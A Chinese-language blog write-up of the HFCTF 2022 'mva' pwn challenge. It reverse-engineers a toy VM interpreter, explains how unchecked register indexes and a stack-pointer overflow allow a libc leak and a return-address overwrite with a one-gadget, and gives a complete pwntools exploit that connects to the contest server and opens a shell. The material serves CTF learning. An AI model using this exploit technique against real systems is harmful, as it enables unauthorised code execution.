虎符CTF 2022 mva

原创

Ayakaaaa 于 2022-03-21 08:41:13 发布 613 收藏

分类专栏： PWN 文章标签： pwn 安全 网络安全

本文链接：https://blog.csdn.net/weixin_46483787/article/details/123626227

前言：

昨天刚结束的虎符CTF的一道题，开始的太晚了，比赛结束半个小时才做出来，略显可惜

逆向分析：

```
  int v8; // [rsp+28h] [rbp-238h]
  __int64 v9; // [rsp+30h] [rbp-230h]
  __int64 v10; // [rsp+44h] [rbp-21Ch]
  int v11; // [rsp+4Ch] [rbp-214h]
  __int16 v12[260]; // [rsp+50h] [rbp-210h]
  unsigned __int64 v13; // [rsp+258h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  INIT();
  v4 = 0;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0;
  v5 = 1;
  puts("[+] Welcome to MVA, input your code now :");
  fread(&Code, 0x100uLL, 1uLL, stdin);
  puts("[+] MVA is starting ...");
LABEL_101:
  while ( v5 )
  {
    v7 = getop();
    v6 = HIBYTE(v7);
    if ( v6 > 0xFu )
      break;
    switch ( v6 )
    {
      case 0u:
        v5 = 0;
        break;
      case 1u:
        if ( SBYTE2(v7) > 5 || (v7 & 0x800000) != 0 )
```


拿到程序，稍做处理后可以看到，首先是让我们输入一段0x100的字节，然后开始取指-执行-取指-执行的过程，实现了一个小型的计算系统

然后我们简单的进行一些重命名，识别出一些结构来：
如push和pop:

```
    case 9u:
      if ( vm_sp > 256 )
        exit(0);
      if ( BYTE2(v7) )
        stack[vm_sp] = v7;
      else
        stack[vm_sp] = reg;
      ++vm_sp;
      break;
    case 0xAu:
      if ( SBYTE2(v7) > 5 || (v7 & 0x800000) != 0 )
        exit(0);
      if ( !vm_sp )
        exit(0);
      *((_WORD *)&reg + SBYTE2(v7)) = stack[--vm_sp];
      break;
```


设置寄存器的值

```
case 1u:
  if ( SBYTE2(v7) > 5 || (v7 & 0x800000) != 0 )
    exit(0);
  *((_WORD *)&reg + SBYTE2(v7)) = v7;
  break;
```

以及一些加减乘除和寄存器赋值等操作就不一一放截图了

漏洞

我们熟知VM的题漏洞基本都是边界检测的问题，sp的检测啊，寄存器指针的检测啊等等，本题也不例外

首先发现的是这两个地方：

```
    case 0xDu:
      if ( SBYTE2(v7) > 5 || (v7 & 0x800000) != 0 )
        exit(0);
      if ( (char)v7 > 5 || (v7 & 0x80u) != 0 )
        exit(0);
      *((_WORD *)&reg + SBYTE2(v7)) = *((_WORD *)&reg + SBYTE1(v7)) * *((_WORD *)&reg + (char)v7);
      break;
    case 0xEu:
      if ( SBYTE2(v7) > 5 || (v7 & 0x800000) != 0 )
        exit(0);
      if ( SBYTE1(v7) > 5 )
        exit(0);
      *((_WORD *)&reg + SBYTE1(v7)) = *((_WORD *)&reg + SBYTE2(v7));
```


case 0xD 功能中没有对SBYTE1进行任何检测，而v7又在栈上，所以可以进行一个栈上0x100范围内的任意地址读双字节，所以首先我们可以利用这个漏洞将栈上的一个libc中的地址读到寄存器中，一共有五个寄存器，在这一步用掉三个

将libc上地址写到寄存器里之后，再利用寄存器的加减法功能将其修正为onegadget

然后是case 0xE 功能中对SBYTE1没有进行负检测，导致可以利用这个漏洞修改reg到reg-0x100范围内的数据，到这里，我们再来看看栈结构是什么

```
__int16 v4; // [rsp+1Ah] [rbp-246h]
__int16 v5; // [rsp+1Ch] [rbp-244h]
unsigned __int16 v6; // [rsp+20h] [rbp-240h]
unsigned int v7; // [rsp+24h] [rbp-23Ch]
int v8; // [rsp+28h] [rbp-238h]
__int64 vm_sp; // [rsp+30h] [rbp-230h]
__int64 reg; // [rsp+44h] [rbp-21Ch]
int v11; // [rsp+4Ch] [rbp-214h]
__int16 stack[260]; // [rsp+50h] [rbp-210h]
unsigned __int64 v13; // [rsp+258h] [rbp-8h]
```

int v8; // [rsp+28h] [rbp-238h]

可以发现，reg上面是sp指针，所以我们可以直接修改sp指针。接下来再来看它的栈检测做的是否完美：

```
case 9u:
  if ( vm_sp > 0x100 )
    exit(0);
  if ( BYTE2(v7) )
    stack[vm_sp] = v7;
  else
    stack[vm_sp] = reg;
  ++vm_sp;
  break;
```

这是push指令，可以看到它并没有对sp指针进行负检测，虽然在pop指令中有负检测，但是当我们可以直接修改sp指针的时候，这些检测就不够严格了。通过前面的漏洞修改sp为0x8000010c，这里注意，stack是一个双字节数组，可以看一下汇编代码：

```
mov     rax, [rbp+vm_sp]
movsxd  rdx, edx
movzx   edx, word ptr [rbp+rdx*2+reg]
mov     [rbp+rax*2+stack], dx
jmp     short loc_17FC
```

这里有一个rax2,*所以说当我们sp为0x8000010c的时候，可以通过sp不能大于0x100的检测，而在真正赋值的时候，0x8000010c2*又会发生溢出，最后变成0x218,而stack+0x218正是程序的返回地址，所以当我们修改好sp指针后，直接将三个寄存器中存储的六个字节数据按照顺序执行push，就将onegadget写到了返回地址上。

exp:

```python
from pwn import *
from ctypes import *
from base64 import *
#context.log_level = 'debug'
context.arch='amd64'
#io = process('./pwn')
io = remote('119.23.155.14',24018)
libc = ELF('./libc-2.31.so')
elf=ELF('./pwn')
#io = process(["./pwn"],env={"LD_PRELOAD":"./libc-2.27.so"})
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x           : io.recvn(x)
sn = lambda x           : io.send(x)
sl = lambda x           : io.sendline(x)
sa = lambda a,b           : io.sendafter(a,b)
```

```python
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
#gdb.attach(io,'b*0x45d5c0\nb*0x488FE4')
def push():
    return p8(9)+p8(0)*3
def pop():
    return p8(0xa)+p8(0)*3
def show():
    return p8(0xf)*4
def add(dest,src1,src2):
    return p8(2)+p8(dest)+p8(src1)+p8(src2)
def set(index,num):
    return p8(1)+p8(index)+p8(num>>8)+p8(num&0xff)
def sub(dest,src1,src2):
    return p8(3)+p8(dest)+p8(src1)+p8(src2)
code=''
code+=set(0,1)
code+=p8(0xd)+p8(1)+p8(0x1e)+p8(0)
code+=set(0,1)
code+=p8(0xd)+p8(2)+p8(0x1f)+p8(0)
code+=set(0,1)
code+=p8(0xd)+p8(3)+p8(0x20)+p8(0)
code+=set(0,20)
code+=sub(2,2,0)
code+=set(0,4425)
code+=add(1,1,0)
code+=set(0,0x8000)
code+=set(4,0x010c)
code+=p8(0xe)+p8(0)+p8(0xff-6)+p8(0)
code+=p8(0xe)+p8(4)+p8(0xff-9)+p8(0)
code+=p8(0xe)+p8(1)+p8(0)+p8(0)
code+=push()
code+=p8(0xe)+p8(2)+p8(0)+p8(0)
code+=push()
code+=p8(0xe)+p8(3)+p8(0)+p8(0)
code+=push()
code+=p64(0)
sa("input your code now :\n",code.ljust(0x100,'\x00'))
ru("MVA is starting ...")
irt()
```

最后放一个打通的截图吧